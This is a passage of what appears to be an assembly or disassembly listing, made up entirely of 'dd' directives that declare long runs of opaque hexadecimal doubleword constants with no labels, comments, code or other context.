		dd 483B4313h, 2037C60Bh, 5ABD56C8h, 0A4EA377Bh,	0E3A5C261h
		dd 5BCB1080h, 93C6892h,	0A6DE05E4h, 204FA480h, 14926265h
		dd 0BCFD18EEh, 0F1B3EA00h, 0D6E9AF0Eh, 68F5007Fh, 612DEEB8h
		dd 5B7CC208h, 4230BE00h, 77D5D079h, 1FC41FA9h, 81B0C4C8h
		dd 528780B2h, 92005896h, 32E7C7EBh, 77F41D98h, 0FFF807AFh
		dd 0A0B312DDh, 0CCDEC075h, 81952A3Fh, 0C8553DABh, 0CEC40513h
		dd 0A3E20016h, 73FFE72Fh, 5400D4A8h, 1A53678Ch,	19EF734h
		dd 0D84D5B55h, 804694B1h, 72584AD9h, 487F92h, 5168602Fh
		dd 0BD670B25h, 17771000h, 0DFA2768Ah, 0D9230386h, 79A14502h
		dd 0D430FAD0h, 0D6280800h, 75ECF45Fh, 0AF670AFh, 0B122681Ch
		dd 0F9BA4394h, 0BE9B7993h, 0BB2CA0CFh, 370012B9h, 0FAB08959h
		dd 5D0FDB1Bh, 7DEC8Ch, 413D7A9Ah, 0BB78452Ah, 2700E47Fh
		dd 6F894601h, 66E849h, 0F14210E3h, 3A4D9047h, 80035025h
		dd 0D51376E0h, 0E89C69h, 2DF36C8Ah, 0BB0029CBh,	458B74DFh
		dd 0E05BFA2h, 35C25966h, 87E1F3E0h, 293F8D9Ah, 1FB68022h
		dd 0E3697947h, 7D420FF5h, 0B80303DFh, 0E998C0A1h, 3C787C30h
		dd 8C69CF63h, 9488F513h, 1FEE0007h, 6F267AC6h, 0B8A8438Eh
		dd 960021DEh, 920CCC90h, 9798C2Fh, 9BC07AE3h, 0F128060h
		dd 335CA3Ah, 178D8850h,	0F9A5F18Ch, 78EDF0C7h, 3D7F008Bh
		dd 6A021E34h, 7071B59h,	8AE4D16Fh, 754EA600h, 0E14E09Bh
		dd 0C6D7BF08h, 11525140h, 573E0366h, 3EDE0012h,	6AB197FAh
		dd 3C861847h, 2B4B1059h, 1CBE80C0h, 3ABB3058h, 73184594h
		dd 1BFC206Ch, 0DFF20F00h, 8D1DCC2Eh, 0D37C41h, 9603F43Eh
		dd 0D15ABF33h, 6B3070D8h, 1D5D0159h, 813698Ah, 0D0E54371h
		dd 0BE7A2000h, 1FCE09F6h, 2040C773h, 27D48355h,	0F7FAD80Eh
		dd 7A1EA001h, 31F67522h, 8B082817h, 0D7208068h,	70C755F9h
		dd 1BB7C0Bh, 4616AB2h, 0FB8AE3A1h, 3A2A8003h, 0C06C02D2h
		dd 0C1C74A20h, 0F018ED88h, 436EC0A8h, 33BE3Dh, 0ADAA8F16h
		dd 0B74914h, 892E2831h,	74B5808Bh, 11EA9103h, 0BF94EE9Bh
		dd 0D2CCC6F0h, 32B769Dh, 2160109Fh, 0B0E8486Ah,	0F502AE29h
		dd 0CD4D997Bh, 0B9286019h, 81023870h, 7AF14A80h, 46842C14h
		dd 5834B700h, 0D56A7D6Eh, 50DE1EEFh, 0F0C5C090h, 6936F31Ch
		dd 8BDDED01h, 0B3D7D84h, 1841F4F4h, 0A8FE3276h,	160FB27Ah
		dd 83D5F317h, 0E0F7B5B9h, 1391DEh, 3B813EBFh, 85FC4DA0h
		dd 1D83B10Bh, 8DFB0074h, 6370965Bh, 68A630BBh, 0B06EA9F8h
		dd 4CB8C207h, 180577Dh,	1E2A26Fh, 5181173Eh, 87F27EFAh
		dd 1DA76158h, 19DB7920h, 0ED2330B3h, 0C17F8108h, 8F413E00h
		dd 1E5C0DFBh, 0F95E0F7Dh, 6C63B013h, 0B060780Ah, 0E7908149h
		dd 6099372Eh, 0D7128038h, 2C7E4B7Ch, 3C8C8619h,	21876A09h
		dd 0C0E77632h, 0EABEDCB8h, 62075A16h, 45C70C00h, 19F8F281h
		dd 0C054ED4Ch, 0ABCA206Eh, 205AD803h, 76AA015h,	283E0819h
		dd 9ECFC0D3h, 0F0600D90h, 0AD9FF260h, 1EED00BFh, 6A9B65E6h
		dd 0C2E876DBh, 927F88h,	28ACF7BFh, 0D262A08Ch, 21D1FB6Fh
		dd 0C92D7485h, 30D095E8h, 0C3B8812Ah, 0E1039822h, 0EAC830F9h
		dd 884EDBEBh, 4A2D9257h, 9FE68012h, 0C6300873h,	96E2B174h
		dd 0A7E43ADEh, 407C551Dh, 94D2FAFBh, 4A00105Ch,	0A4B2EDEBh
		dd 61568Fh, 0E9A16ED5h,	0A88D2A21h, 74324F03h, 992881CAh
		dd 0B8FC0BC1h, 0C8E10052h, 87862C68h, 0C41F53F8h, 8A4F142Bh
		dd 597FA0D3h, 61A39Eh, 71153460h, 43208711h, 2CD6A00Fh
		dd 89108096h, 1F0383Bh,	0AF48DE35h, 703699D7h, 0C009C5Fh
		dd 0D013EC32h, 1BE10FFh, 1EF644B4h, 8769E8D9h, 54937310h
		dd 77BF1610h, 7AC20088h, 0C75419Dh, 97187602h, 9958D16Dh
		dd 0DFC900ADh, 0BEB4C3BFh, 0C83A13F1h, 6410E393h, 1BC290A0h
		dd 0FECD80D7h, 90490930h, 0EEC7FBh, 0C88DED1Eh,	0E937065h
		dd 2068E36Ch, 0DF823D10h, 0EE624B00h, 9C1C3BA9h, 78DDF6E6h
		dd 0CEED2240h, 0F4C1E48Fh, 68930061h, 0A8A59283h, 6F0684F4h
		dd 0DC0BE1CBh, 2DD50051h, 7ED6757Ch, 4E0E2E57h,	0FD39F867h
		dd 9A3D4580h, 133199Eh,	0F4E9BB5Fh, 4421C1CBh, 12CB00F6h
		dd 689B94DCh, 0C3881C6Eh, 0A8664C9Fh, 80B00252h, 1D00F0C9h
		dd 0A5977B5Ch, 1C2D4209h, 40DBA284h, 786D71ADh,	574BA43h
		dd 4DC7CC03h, 0C96930CFh, 72FC4E48h, 335074E2h,	322074FBh
		dd 33123180h, 7A5B9C00h, 0C454B5E1h, 0CAEE070Dh, 504ED046h
		dd 52804D7Eh, 38BB7130h, 0F8280B11h, 686E6023h,	9064D727h
		dd 0C4DFDC09h, 8730C49h, 200B60AEh, 6663E507h, 6D755377h
		dd 35F89703h, 3E6F71B4h, 25A96BA9h, 30D1005Ch, 4FD8C0EFh
		dd 75272086h, 31090C00h, 10DF0378h, 0F81479CEh,	3F84004Ch
		dd 0DE747A0Ah, 0D70057DBh, 6DC7CB95h, 12EC398h,	0CDAFB5E3h
		dd 9DAE7D0Eh, 20F06E08h, 0DA75B8h, 4A0C642Fh, 721E5210h
		dd 7C55602Fh, 3899308Eh, 2603B150h, 99F2DB8Ch, 92193F75h
		dd 0DC859D0Eh, 0AB2A10A0h, 3D0304D2h, 0CF99017h, 12C5EBE5h
		dd 0AC7868h, 0AD54D04Ah, 5863A47Fh, 0C6DF09h, 20430C20h
		dd 0D49A550Bh, 0BAECF550h, 0A1F1210Ch, 0FA925153h, 161F3CACh
		dd 0DA895600h, 585264Ah, 39C0401Ch, 0B68BFAC0h,	1F471B93h
		dd 8045BA04h, 26CDA00Eh, 23E677Fh, 3D9E8031h, 449B56B7h
		dd 97BE3AACh, 6D13C000h, 0A52F6602h, 157B5Ch, 6309F61h
		dd 29D432h, 0CE714BF1h,	3E626780h, 0A7001171h, 0EF379E55h
		dd 30399A73h, 9C20CF79h, 0BC097B0Bh, 0EB36226h,	8B248091h
		dd 0F4CA949h, 0DAE73AEFh, 0A7F602C7h, 820DA11Eh, 7AC9D88Ch
		dd 24920D8h, 60907430h,	5C12786Fh, 7200993Dh, 0B406343Bh
		dd 3F82173Fh, 9F9FCC64h, 22F0308Bh, 10F3D5DFh, 89B9E5Dh
		dd 53A6C6B6h, 0E1542h, 73A4EDA8h, 991D6F72h, 7B8690Fh
		dd 9C8B3178h, 0C58216B0h, 0B024000Dh, 80D0EA37h, 0E5384447h
		dd 19430F62h, 12FA677Ah, 2EA94E46h, 0F711F8h, 0E81CB6F9h
		dd 331CFD62h, 0DB0E2FA2h, 87C7A0D2h, 42143Fh, 0A8B9CC05h
		dd 386B150Eh, 6EBFA400h, 89395B3Eh, 8E991CFDh, 707FC0D1h
		dd 0A1C8AA8h, 41C46E00h, 0CF4A43A3h, 55F000BBh,	0E3139B0Eh
		dd 0AF00AE40h, 5836B4A9h, 0B00A7E2Fh, 0B37EABh,	3E7FCCEFh
		dd 744A0668h, 8944BF00h, 7728570Ch, 800A0032h, 0EBBE7BA4h
		dd 0D900C240h, 0BF313693h
		dd 198D85h, 3E7E729Bh, 0B30118D7h, 0F8681C0Fh, 0C496A091h
		dd 0AD5A4Bh, 995173FFh,	9554C39Ch, 443E8D07h, 0AC47C7F7h
		dd 63A101F0h, 13F800DEh, 0C7D5B66h, 6D50087Bh, 0F60150A3h
		dd 5DF99B38h, 18837AD6h, 0DFAD181Ah, 2B7F35D8h,	0EFBC3CC1h
		dd 48409F0Eh, 0E87C3806h, 795BF0DFh, 3469035Ah,	89A7DC57h
		dd 2817B1A8h, 1CADFC00h, 7A85CF03h, 0F1E10EC6h,	0F4802730h
		dd 6A51BC9h, 61E8A703h,	0A0B52496h, 172564E7h, 7E7B87h
		dd 0B0A067E9h, 633E43B3h, 0E67080E9h, 7516F4Ah,	0B6741EE7h
		dd 0CC6740AAh, 0FA458158h, 0ED595503h, 0F456D7h, 0BE479921h
		dd 0BB879F66h, 1DB35C26h, 0EF573D00h, 736568FFh, 0D6C20391h
		dd 0C6AE7341h, 0B3593800h, 0B91D1F7Ch, 0E8CE000Ch, 0AAC59294h
		dd 0A62A6F44h, 0DC0D4006h, 79815BBDh, 6F924001h, 0BE1C8600h
		dd 3D5D3200h, 0CE5A61F9h, 6E78065Ch, 71AA65A6h,	60561F06h
		dd 1088C322h, 6E8117Eh,	0EBB16567h, 0FD3107A0h,	0A0A59E90h
		dd 0E62C688h, 8A41B060h, 3A807B4h, 0B019E14h, 830C0D0h
		dd 92904913h, 22420008h, 1D89519Eh, 7CA07C4Eh, 2C888545h
		dd 19E0C0h, 1862CCC5h, 0C1789B51h, 140C9303h, 0C8CF0EA4h
		dd 201AA03h, 1C498513h,	2240CE31h, 0A8E6D1E6h, 0DD84CF00h
		dd 61227A66h, 635DE88Ch, 0E2A0566Eh, 33E869D3h,	1D0E1E51h
		dd 81FA3018h, 81A821AEh, 0FE3C93C0h, 8E2F0052h,	672A0CB3h
		dd 0ECE0E83Eh, 9039D9F0h, 7FDD00C2h, 2E0C5A31h,	79C9F92Ch
		dd 302026E0h, 34282BC1h, 0DD00810Dh, 7B59BA82h,	17A9D66h
		dd 5796FD26h, 0EC9C73ADh, 4E75EE10h, 0E1F24000h, 0FA5F8AD8h
		dd 52F838A5h, 50F9358Fh, 49D9A4E3h, 7A8FB1C8h, 163E5AE0h
		dd 660A803Dh, 4493D75Dh, 289A01A4h, 8892AEEBh, 0ECADF178h
		dd 4B60127Fh, 0C4D3D0AEh, 6C800689h, 4874072Eh,	1B697B18h
		dd 166608h, 0F9CEACADh,	6EB82B9Ah, 17BE3Eh, 20C9EDFEh
		dd 3C15067Dh, 0E7BF015Dh, 0BC280480h, 6C692508h, 0B7129900h
		dd 2E6398F2h, 0FF21300Ah, 0B2621FF8h, 4D805A00h, 0A39C9E51h
		dd 7FEC3844h, 5EC1A400h, 7936D786h, 94B890C0h, 0A065826Fh
		dd 25B7ACh, 1E611821h, 3C54AE06h, 1FB14863h, 5FA1D82Dh
		dd 0F7B018h, 0D7D8F68Eh, 0CBFF6FB3h, 3BCC5B0Fh,	0D89BCA2Fh
		dd 0BE83231Fh, 0F04B79B9h, 0F5225Dh, 58983866h,	56783B4Fh
		dd 2A7C6A03h, 0D855DA4Eh, 38AD6E3h, 0E9FD6787h,	90092BC2h
		dd 7C344B05h, 0AE3E0070h, 0A435D137h, 98C52CE2h, 348430BBh
		dd 0C25D8802h, 16848722h, 4080DAB2h, 3885AC40h,	1448664Ah
		dd 0A0CB5418h, 3F50837Dh, 0B10927C4h, 85D1AE6Dh, 0A45B1E36h
		dd 0C89F658h, 0F613C65Dh, 43442659h, 0CC108681h, 7F21922Bh
		dd 5E104D80h, 51EA703Eh, 8E31582Bh, 0CC9B1BCh, 203E5862h
		dd 9DAC8C40h, 35E22CABh, 45308B24h, 26804E97h, 0FA58A0D9h
		dd 0F6FC41AEh, 20DE2CA1h, 761901B5h, 34441408h,	195842C7h
		dd 12B10B2Dh, 7CFCF0A0h, 84EA4957h, 49179D00h, 0C207C8CCh
		dd 2F8FC92Ch, 7AC5BE00h, 723D011h, 0C1A71283h, 68175F5h
		dd 0D8A1BC94h, 7C4B4010h, 13F12F00h, 899CD12Dh,	679EECA0h
		dd 18264600h, 0B698566h, 427E005Fh, 63E21196h, 9FECFF52h
		dd 0EC2A370Bh, 8A23804Bh, 121B462h, 18F8884Ch, 87973EA9h
		dd 1AAB4AB9h, 4D38B520h, 0A4CB000Eh, 0C1BC2779h, 0EB0B8280h
		dd 87CC11h, 4A4EE673h, 0F8CD7F8Ch, 0BF9C009Ah, 81281CF4h
		dd 34398647h, 9589003Ah, 84941596h, 0A3F50051h,	0C646590Dh
		dd 8200FAFCh, 432BCA32h, 77DCBE69h, 9EFE4Fh, 0D38FA5E9h
		dd 882C3023h, 6171C000h, 0E83A7BA8h, 7D1B90BFh,	0B676018Fh
		dd 8C3B5F63h, 383D0B9h,	0F00560ECh, 11B275E7h, 41918C0h
		dd 8AB010h, 597E993Ah, 1E587009h, 0E02D9000h, 0BC867CEAh
		dd 827D39h, 50B0999Dh, 0D4F4659Fh, 55784F1Dh, 280FE1Eh
		dd 96ACEB6h, 54A10F27h,	25E0ECE4h, 686C4A73h, 1461138h
		dd 0FFB9E7CAh, 0B8228808h, 0ABE040h, 427CC67Eh,	3F90190Dh
		dd 0AD2119D8h, 301F4CC3h, 0F52D5214h, 6F4D1Ch, 0E79E0D29h
		dd 0B3485E8Ah, 0F0A30048h, 0B052276Bh, 28146232h, 832228F4h
		dd 0C7B448A8h, 286A611Dh, 1159A7Dh, 5B112D58h, 246B1183h
		dd 1249BE11h, 0D33C870Ch, 4014B5D4h, 40E7965h, 4219B028h
		dd 5E187A9h, 0DB500E33h, 0C4A43ED1h, 57FB440Eh,	0BDA728A0h
		dd 5088F1CAh, 0E414903Fh, 29E07B3Fh, 4CDD03B7h,	0A7BC6F00h
		dd 51E79DEEh, 0BFA1CF12h, 0AE6E1831h, 8053E051h, 45000370h
		dd 82CCD79Bh, 0EAE6E4h,	0F9BECEAFh, 0E17DDBEFh,	0DD8F58h
		dd 41ADFA64h, 0FE7151Bh, 32773CC5h, 0ABCF29A0h,	55900470h
		dd 6E94D200h, 49FC5D0Ah, 7BA40098h, 6FD47499h, 29000367h
		dd 6A9543C2h, 3CB0455Dh, 620014A0h, 4CDAEFC5h, 0E10F7357h
		dd 60AF9DBDh, 8C6850B8h, 723B0F2h, 0DB9F864Ah, 8314C71Ch
		dd 50B75E11h, 43644FC6h, 2CE88E26h, 9AA67780h, 12FA70h
		dd 40297861h, 0C05BA054h, 0E7D30403h, 0D86F9682h, 0C27A5Dh
		dd 135C35A6h, 53D3FFEh,	0D800D07Eh, 0F343D2C3h,	1258CB4h
		dd 4231A965h, 0C00476C8h, 0AE18B051h, 0CB18411Ch, 0A2430CEAh
		dd 20CA24C6h, 1B26FF00h, 6D7B5BDFh, 0FA56094Bh,	0DCA0D5B8h
		dd 4AA64F71h, 0D4383D00h, 0FA4E413Ch, 8072E8h, 0DD33E742h
		dd 279F3996h, 85E90D0Ah, 8900C8F8h, 615CF951h, 7EAE0005h
		dd 6784734Ah, 44F0B491h, 0F152BB00h, 1F4F7A85h,	98970002h
		dd 469C74ABh, 690E0F24h, 0DD0C9295h, 0DA8227DFh, 829AB201h
		dd 0C0FF6B94h, 0C78F85h, 0DBC14E53h, 0D93133B9h, 0BC3B811Dh
		dd 0AF439080h, 5E95CCh,	87B882B0h, 0DB4BD173h, 0C64D5800h
		dd 145BC390h, 0DE9D00D0h, 6366FBF1h, 9679DA37h,	90049B00h
		dd 0EF2F556Eh, 97EFFD75h, 0A6240100h, 1A07D05h,	82547F7Ah
		dd 810BD71Fh, 0FEB82E78h, 0B0ECBF46h, 413D0020h, 0AD4B6770h
		dd 810012D6h, 501F2F15h, 9504A2h, 9207C265h, 54F5A5Bh
		dd 0DF984800h, 0B81D71C6h, 9BA9A015h, 14961E57h, 429900BCh
		dd 884A1013h, 0E6A9EE00h, 0CDD8DBA3h, 2E033EE2h, 50134000h
		dd 0AF7E9C65h, 4738A800h, 0B4BC9902h, 18337672h, 49FCC156h
		dd 0D2002F5Eh, 0C53180FEh, 38FD552Dh, 0BD80FF8Dh, 1ACFF62Eh
		dd 0F30EC3A9h, 22BE3A19h, 0E0F7BA8Ah, 9861F8h, 84FB37CBh
		dd 0DED09E27h, 0C4E4EA00h, 88DABAFCh, 0EC7B004Fh, 0E0596A69h
		dd 254CE813h, 0CAB90090h, 0F9A0789h, 0DB8A1E61h, 5E7C80AEh
		dd 671F4BEDh, 7702FC00h, 73683565h, 5C05039Ch, 5213D6E0h
		dd 0F8B5B800h, 1A6EB6ABh, 904C0011h, 2DDACE0Dh,	7B072C6Fh
		dd 0C8735E19h, 0CA275C80h, 654700FAh, 0BCFE621h, 99002C6Dh
		dd 5485FFCBh, 5CF82E71h, 660375F5h, 791C1EA3h, 2C9477E0h
		dd 0FF3F4900h, 701B9A6Ch, 913E0184h, 60C41A9h, 24F8C365h
		dd 0A33AC56Dh, 15EC801Ah, 7DFB2261h, 0A7DD00DAh, 2C9C779Ah
		dd 1601F6FDh, 48907E18h, 0A2FCCBBEh, 0E3E400DAh, 6B749203h
		dd 8D01ACD4h, 5471FF61h, 0EADC0212h, 349C0027h,	24BA1545h
		dd 0F3004F8Bh, 0E678111Bh, 2E17F5D7h, 80D4ED7Fh, 293DB5DBh
		dd 0B800ACA4h, 0CA0CFDF1h, 9095BBh, 98781A5Fh, 221E2D99h
		dd 0C1765B1Dh, 0F6AF4AC0h, 5304C3h, 13A27A1Fh, 74847BB8h
		dd 3B0D5400h, 12C701ACh, 88BF00EFh, 3A3103D5h, 830089C1h
		dd 346AE85Dh, 388DA4h
		dd 2EED46E0h, 23ABC892h, 0B4860607h, 808FE71Fh,	0B151660Bh
		dd 0EF6902AFh, 0C6500EE2h, 596D4960h, 542A7300h, 4679FF9Ch
		dd 0A8D12649h, 0B1D3037Ch, 1990C94Dh, 1F0E4A31h, 0A59A27ECh
		dd 18C0FCA5h, 4994C8Eh,	6CC23322h, 0FE8CC071h, 9500FAF4h
		dd 15B7EE66h, 0C6D74Ch,	2296D518h, 6EC52744h, 71ACD801h
		dd 0F4D167F0h, 7F932882h, 2340FE92h, 27074173h,	3F8C5108h
		dd 0C57A63A0h, 48BC58C0h, 54899B07h, 0CCDA07DEh, 0BA0027ACh
		dd 39861DFEh, 9FC62Dh, 506AB085h, 0A7B58216h, 348B4A00h
		dd 0C35ED97Dh, 54E02E36h, 40201C32h, 9058E440h,	0B301175Bh
		dd 0BD4A1A5h, 0C5CCF05Dh, 0E2F8007Dh, 22F13533h, 5E03FBC8h
		dd 0A53019D0h, 985D989Dh, 0A4404864h, 293FA900h, 6B7DAED1h
		dd 534CC818h, 24CF9A64h, 0EC890Ch, 0B463F145h, 0D54C4FC2h
		dd 2E40F76h, 6A7C6026h,	3B75B6E7h, 97976382h, 52E50E1Bh
		dd 116C3A26h, 0AA1FBA00h, 0E4414CEBh, 0C292014Dh, 0CD7F7CD8h
		dd 0B42C5Fh, 0FFEFBD6Bh, 10BE21h, 16FC63B7h, 0FB49C160h
		dd 127193Ch, 0A04228ADh, 66C80441h, 0A5C61CD3h,	0A480BD8Ah
		dd 8E2BB650h, 6F7E62BDh, 570BB377h, 758120h, 0D2AA0A92h
		dd 7E2307AFh, 999CFBC5h, 37898400h, 6A037743h, 0AFF308DFh
		dd 51CEF8EFh, 0FD800E4h, 0E04754D6h, 363F597Ch,	48E59F65h
		dd 9580011Eh, 5B58310Ah, 0F3AB0319h, 496AF24Eh,	0B2E669E8h
		dd 0BF87BE00h, 0BDE81F59h, 25A3001Ah, 0C63F6DA6h, 800C0CEh
		dd 0F543D77Bh, 1A8AF3h,	0B9F85A2Fh, 6FC68125h, 0F4D45600h
		dd 622886E3h, 0A07B57h,	1970DF5Ah, 100E55E1h, 0F432D507h
		dd 0A051201Eh, 0F2E42103h, 6B7B0059h, 32A106D7h, 0E30EC5A2h
		dd 549D4C1h, 8CD0C416h,	0E85B743h, 6389BDDAh, 7097CE60h
		dd 4E005855h, 431729E3h, 1C3EC6A9h, 528A3C77h, 782002A2h
		dd 0F7C12C95h, 40BC2182h, 60F0450Eh, 883C9628h,	0D0F26C00h
		dd 6724E4EBh, 988A007Bh, 0BC7AF192h, 21039C3Bh,	6513DABh
		dd 14300336h, 0C50F634Fh, 0BAF05380h, 866D400h,	47D98BBh
		dd 9674071Eh, 0CF7B645Dh, 82F578A0h, 723CEB8Dh,	4A17866Eh
		dd 0F84096h, 878ACCBCh,	0AF92DE0Ch, 17B60900h, 417ED233h
		dd 0D45D00FEh, 0BF076E97h, 0E40BA729h, 79F0B6h,	0BD5782B0h
		dd 64B96Bh, 1F220A47h, 8078F820h, 0ED1C5C02h, 0E0BDC299h
		dd 0CE33CCh, 0F8E54EDBh, 0CFDDCD17h, 9E005BF0h,	25AB3639h
		dd 8B4C4Ah, 0B90E69FBh,	4FDF8C3h, 0AC21820Eh, 5994A046h
		dd 125E781h, 1E325423h,	0E08FA635h, 7C00BFFAh, 26F56E55h
		dd 0A00A21h, 5A3FC62Bh,	1782DE8Fh, 0D9E530C1h, 8DE4CC1Bh
		dd 3125011Fh, 938ACD0Dh, 99C5F0E2h, 8B862B00h, 8F30F01h
		dd 0E08E005Dh, 0F01D585Ah, 0E8505EE2h, 920E739Ch, 0F39D5C1Fh
		dd 232C2C0Eh, 0D08AF89Bh, 60F169h, 0F695283Dh, 85306E75h
		dd 0A5E2A40Ah, 0EC00C94Bh, 899AFF1Eh, 0ADC71EC4h, 0AAEB4996h
		dd 72C01800h, 7D4C61FDh, 0E08C0038h, 0DCFC3414h, 2397A96h
		dd 7BABF4Dh, 5F76B66Ah,	48563100h, 3FEEEBh, 2E099EB7h
		dd 12F646AAh, 0E0C1F200h, 7FED0177h, 452F1E86h,	0BE3240E6h
		dd 921FEAFFh, 83117E1Eh, 5CAB1E3Dh, 48FB59C4h, 0C50B588Ah
		dd 8481692Bh, 0F0060B10h, 0D928EF58h, 870FAC6Ch, 87707C82h
		dd 0F19223D1h, 74BB8093h, 74A1AD49h, 0F69017Ah,	0B8926C31h
		dd 0D82ED864h, 0F59858h, 9B363ACAh, 947899h, 61059517h
		dd 6A57EB9Dh, 0C0C10212h, 0C4BD8400h, 3CF4999h,	0B851E864h
		dd 0AF984389h, 7D617B98h, 465C66F2h, 0DEA180CFh, 728600C1h
		dd 0B42ABB0Dh, 92E2DF76h, 0FFEB3Bh, 158C259Bh, 0F9E7CFh
		dd 0BA33B005h, 131C68A9h, 0E3F80E00h, 832030D5h, 8D93006Fh
		dd 5F69DF8Ch, 0E097DA52h, 3C6DCEh, 0C41D72EDh, 0C9A6F253h
		dd 84B36C00h, 651369C8h, 0A4AA5167h, 2D11BF8h, 9295C620h
		dd 37C1AF79h, 983D5Ch, 0D97C3512h, 903017B1h, 1D251DF4h
		dd 1D329653h, 123380D4h, 4FCB07C8h, 9FA8111Fh, 98009C56h
		dd 3A568DB3h, 817200F9h, 2EA21842h, 0A0000FFFh,	3CD80E6Bh
		dd 0FD1207Ch, 4DDD8733h, 949D1480h, 0AB389FB7h,	460F0038h
		dd 0FFAD5483h, 3587752h, 271B7F8Ch, 0E6A07B5Ah,	250FB06Ch
		dd 0E0038F32h, 1F438638h, 7D300F0h, 0A77ED12Ch,	0DE00527Ah
		dd 28FF2F12h, 887384h, 3E18A154h, 0EEE80486h, 4EF14604h
		dd 78804A08h, 8C055628h, 0D58AD81Dh, 47C63280h,	1FD0F3D3h
		dd 405C4DB2h, 0C794C4ABh, 0FA00412Ch, 0B8F85B55h, 3CC220h
		dd 0E43731CBh, 7197EFA7h, 4AF4D078h, 0FDA6CA0Dh, 4CF0C82Ah
		dd 575B0734h, 97B15E73h, 4EDD9081h, 22F2F29Ch, 9D39800h
		dd 0FB945C70h, 0E19703D6h, 5F2B65B5h, 377E580h,	1D7F4800h
		dd 967D9554h, 6F7C074Ch, 0B1ED9865h, 0E5B85290h, 0BDE830C0h
		dd 80ECDC3Dh, 4FF765CAh, 5FF17BBh, 0FAA64A85h, 314080A1h
		dd 6601D71Eh, 0E0CE0A8h, 2DE89BF5h, 8ED200EAh, 967AD662h
		dd 0E409A38Dh, 8ECC283Bh, 0EF510023h, 90E5E1h, 0D186E05Dh
		dd 194A4449h, 0FB767D0Fh, 0E5D04263h, 7A74E014h, 55403B60h
		dd 0F699B980h, 0A9C2A333h, 0F9501A00h, 0B0281332h, 97090CAh
		dd 2AF83C42h, 0EF5B2C40h, 790011FEh, 0BBEB5D59h, 3F67383h
		dd 2480CFE0h, 0BC88F3CDh, 4F009946h, 0FDE90CB8h, 0E060C13Bh
		dd 7AC700FFh, 0FC76A834h, 8D26853Eh, 0A90044BEh, 2D4AD5E5h
		dd 7CD4073Ah, 1D4E77A4h, 0D898A084h, 0D7302C59h, 82D6384Bh
		dd 53C33B38h, 9E968474h, 3141C064h, 0C40FB746h,	20559480h
		dd 70E90138h, 3D8F875h,	63046461h, 6FC8C8D4h, 3500F773h
		dd 0CCFEACE2h, 0AE3DC3h, 8C8866B4h, 61A052E8h, 0B0142800h
		dd 0FB4396CDh, 5E320059h, 5B9CAEEAh, 0AB16B4D6h, 60808556h
		dd 0E437F3Ch, 3282692h,	10C5ECA0h, 1E00ADFBh, 0E4594E42h
		dd 2BFAEFh, 0D42F9127h,	92E177D0h, 924D5B2Eh, 9A8EF400h
		dd 2B571F5h, 0E2307BAEh, 7DC0146Ch, 4700E359h, 38DA966Fh
		dd 7D70834h, 0C07348D3h, 1F237001h, 0B9E8F0A2h,	1BFBC117h
		dd 0D9415100h, 78A8F947h, 3CB0B452h, 0DCF5C200h, 0BF8BD35h
		dd 9BFF6801h, 6CF33C1Fh, 10002C2Ch, 5EE9C156h, 2700715Ah
		dd 0E204C984h, 0FE5B036Fh, 17D8C002h, 0E047FAB9h, 4636A8A0h
		dd 0B45D48h, 0CB16E541h, 281C59h, 4FDC0D18h, 249E2F64h
		dd 9A945Ch, 1F3F915Dh, 811E7Ah,	0A1F83DE4h, 5E3AC039h
		dd 0DCF07050h, 0E6FB5800h, 549F8776h, 0ABB00D7h, 4A33D8BFh
		dd 0DB1D672Eh, 0C900DF1Bh, 3C4F7DFEh, 2263005Bh, 6D43CEC3h
		dd 0E901F397h, 8CE71979h, 0D24031A0h, 0D2DFDBh,	0E13A14C8h
		dd 0A3086CB2h, 70163001h, 0C5115D51h, 9696070h,	63592398h
		dd 177B64A0h, 671F2F99h, 0FC407324h, 778DC412h,	0BAD074B8h
		dd 11AFFC10h, 26266997h, 0E907A050h, 0C4715509h, 9B305F66h
		dd 3AB63B5Ah, 1680A2BBh, 0F081B4A4h, 5C07EA11h,	0F8D3A83Ch
		dd 14C7F697h, 10F1ADF7h, 703C72C5h, 92793E00h, 0EAE22E5Ah
		dd 80A8674Ch, 2FE8C378h, 0D9860089h, 0EC482CA7h, 10E0748Ah
		dd 2407B04Bh, 29DB66C2h, 541A8054h, 0E52ED81h, 8B6113D2h
		dd 0A1FDF4E0h, 5A001F60h, 0B51B9866h, 0BB0140h,	0D97B9242h
		dd 35F4E39Eh, 1A8738h, 325A33C6h, 65DEEEh, 0A9667C62h
		dd 9068B44Ah, 88CF7A17h, 509CFC00h, 0BC3207h, 0B0FE3AD6h
		dd 7C90D147h, 0E20734B8h
		dd 588FE16Bh, 468A4D20h, 367978h, 0D033BD5Ch, 0CF3446Fh
		dd 0C600B676h, 1226882Dh, 90A7849Fh, 963500A8h,	0C1482103h
		dd 0E60E5614h, 0E07247B2h, 0B09B275Ah, 84EA00E0h, 7BD53097h
		dd 0A5F8F387h, 5673D60Fh, 0E70BE9FCh, 99B37800h, 0F10B0084h
		dd 6264312Ch, 2F008795h, 16292869h, 33DD7Ah, 5D7B61E6h
		dd 3623026Bh, 82D17200h, 86A88E8Ch, 50710E6Fh, 0D380921Bh
		dd 0A2173B04h, 0F2DAC90Eh, 9DA0037Fh, 0F86009ECh, 3080D2B0h
		dd 57999FE9h, 0F3DEBD1Ch, 9B33AF00h, 0F03444D3h, 0C87502h
		dd 1BFCCFEFh, 0EAB52AFEh, 353BCC00h, 0AB878AC7h, 0BDDA0A75h
		dd 9B6119h, 0BADFFF70h,	4672CE03h, 4C7C1677h, 380D1926h
		dd 807E7808h, 79F86BA5h, 0E4040EA1h, 0BC4BC312h, 3E0F449Bh
		dd 0CC80BE8Fh, 7F729B68h, 52163EB0h, 988093BDh,	18CB8B81h
		dd 109563FFh, 1301062Ch, 512A8FDFh, 0F8C85E49h,	42D7CC4h
		dd 0DB479B16h, 59458056h, 74591CE0h, 0E3FC02A8h, 0E8B901DAh
		dd 7D5FF51h, 0B265AFBh,	0BCA3A212h, 98FA6861h, 0FDA9290Ch
		dd 2265C89h, 13BF7B00h,	71379587h, 208F8531h, 0A438CF8Dh
		dd 5C1A3400h, 0A0DF7CEh, 88987200h, 2A5D9D5Bh, 521C3E40h
		dd 81C35072h, 3C94DFh, 5381D985h, 4D00085Dh, 0BA7A1195h
		dd 68D8A3h, 0D6EB66FAh,	9B7298C3h, 5EFFAB00h, 39276C73h
		dd 0E01600E7h, 7067FC37h, 0B200DFF3h, 1751E8F2h, 5624D18h
		dd 293BE915h, 785C1EBh,	0AF99C05Dh, 80338B25h, 58250F04h
		dd 0AB50582Eh, 0BE2A6B00h, 1333CAB2h, 0A1ED030Fh, 0B04B6024h
